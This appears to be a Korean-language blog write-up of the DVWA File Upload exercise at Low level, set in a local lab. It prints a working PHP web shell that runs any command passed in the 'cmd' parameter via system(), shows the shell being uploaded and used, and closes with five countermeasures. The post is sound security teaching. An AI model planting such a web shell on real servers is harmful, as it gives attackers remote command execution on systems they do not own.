WEB hacking/DVWA

[DVWA] - File Upload(파일업로드) Low 단계

Roronoa 2022. 10. 16. 02:31
반응형

File Upload(파일업로드)

파일 업로드 취약점은 파일을 업로드하는 기능에 적절한 보안 대책이 적용되어 있지 않을 때 발생한다.

 

[그림 1] 파일 업로드 페이지

그림 1에서 Browse를 통하여 올릴 파일을 설정할 수 있고 Upload를 통하여 우리가 선택한 파일을 올릴 수 있다.

우리는 웹쉘을 올려 쉘 명령어를 실행시킬 수 있도록 하겠다.

 

webshell.php

<?php
echo 'Enter a Command:<br>';
echo '<form action="">';
echo '<input type=text name="cmd">';
echo '<input type="submit">';
echo '</form>';

if (isset($_GET['cmd'])) {
	system($_GET['cmd']);
}
?>

공격자가 입력 폼에 명령어를 입력하면 cmd 파라미터 ($_GET['cmd'])를 통해 전달되고, system() 함수를 이용하여 명령어를 실행한다.

 

[그림 2] 웹쉘 업로드 성공

webshell.php 파일을 업로드하는데 성공을 하였고 업로드 경로 주소를 알려주고있다.

업로드 주소는 ../../hackable/uploads/ 디렉토리 아래에 존재한다.

우리의 경로는 현재 http://192.168.109.130/dvwa/vulnerabilities/upload/ 이다.

따라서 업로드 주소는 http://192.168.109.130/dvwa/hackable/uploads/webshell.php가 된다.

이 주소로 접속 한다.

 

[그림 3] 웹쉘 경로 접근

그림 3과 같이 webshell.PHP 파일이 실행되어 명령어를 입력받을 수 있는 페이지를 표시 하였고 해당 페이지에서 우리가 원하는 명령어들을 실행 시킬 수 있다.

 

[그림 4] 웹쉘을 통해 리눅스 명령어 실행

웹쉘을 통해서 그림 4처럼 우리가 원하는 명령어들을 실행할 수 있다. 또한 리버스 쉘 기법 등을 통해 터미널에서 쉘을 획득하여 시스템 내부로 침투해 들어갈 수도 있다.

 

대응방안

1. 꼭 필요한 파일 형식만 업로드되도록 파일의 확장자와 내용을 검사한다.

2. 업로드된 파일을 사용자가 접근 불가능한 경로에 저장한다.

3. 파일이 업로드되는 디렉토리의 실행권한을 제거한다.

4. 업로드된 파일을 다른 확장자로 변환한다.

5. 업로드된 파일의 이름을 랜덤하게 재생성하여 저장한다.

반응형